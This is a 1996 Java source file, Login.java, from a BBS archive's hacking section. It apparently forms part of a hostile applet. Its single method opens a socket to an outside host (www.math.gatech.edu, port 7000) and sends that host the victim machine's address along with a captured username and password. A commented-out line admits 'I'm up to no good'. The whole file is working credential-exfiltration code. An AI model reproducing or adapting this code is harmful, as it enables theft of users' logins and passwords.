home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / hacking / internet / login.java < prev    next >
Encoding:
Java Source  |  1996-07-04  |  2.2 KB  |  74 lines

  1.  
  2. /*  Login.java by Mark D. LaDue */
  3.  
  4. /*  February 28, 1996 */
  5.  
  6. /*  Copyright (c) 1996 Mark D. LaDue
  7.     You may study, use, modify, and distribute this example for any purpose.
  8.     This example is provided WITHOUT WARRANTY either expressed or implied.  */
  9.  
  10. /*  This class allows the applet to communicate with its home. */
  11.  
  12. import java.applet.Applet;
  13. import java.awt.*;
  14. import java.io.*;
  15. import java.net.*;
  16.  
  17. public class Login {
  18.  
  19.     String home = new String("www.math.gatech.edu");
  20.     int port = 7000;
  21.     String localhome = null;
  22.     boolean debug = false;
  23.     InetAddress localHome = null;
  24.     String localAddress = null;
  25.  
  26. //  Construct the class
  27.     Login(int port) {
  28.         this.port = port;
  29.     }
  30.  
  31.     public void communicate (String user, String pword) {
  32.         Socket sock = null;
  33. //      InputStream inStream;
  34.         OutputStream outStream = null;
  35.         byte b[] = new byte[128];
  36.         int numbytes;
  37.         String reply;
  38.         StringBuffer sb = new StringBuffer();
  39.         InetAddress inaddress = null;
  40.  
  41. //      System.out.println("I'm up to no good");
  42.         try {
  43.             sock = new Socket(home, port);
  44.             outStream = sock.getOutputStream();
  45.         }
  46.         catch (IOException ioe) {
  47.             if (debug)
  48.                 System.out.println("I can't open a socket to " + home);
  49.         }
  50.         try {
  51.             if (debug)
  52.                 System.out.println("Sending login and password to " + home);
  53.             inaddress = sock.getInetAddress();
  54.             try {
  55.                 localHome = inaddress.getLocalHost();
  56.                 localAddress = localHome.toString();
  57.             }
  58.             catch (UnknownHostException u) {
  59.                 System.out.println("I can't get the remote host's name");
  60.             }
  61.             sb.append(localAddress + "\t" + user + "\t" + pword + "\n"); 
  62.             reply = sb.toString();
  63.             numbytes = reply.length();
  64.             reply.getBytes(0, numbytes, b, 0);
  65.             outStream.write(b, 0, numbytes);
  66.         }
  67.         catch (IOException ioe) {
  68.             if (debug)
  69.                 System.out.println("I can't talk to " + home);
  70.         }
  71.     }
  72. }
  73.  
  74.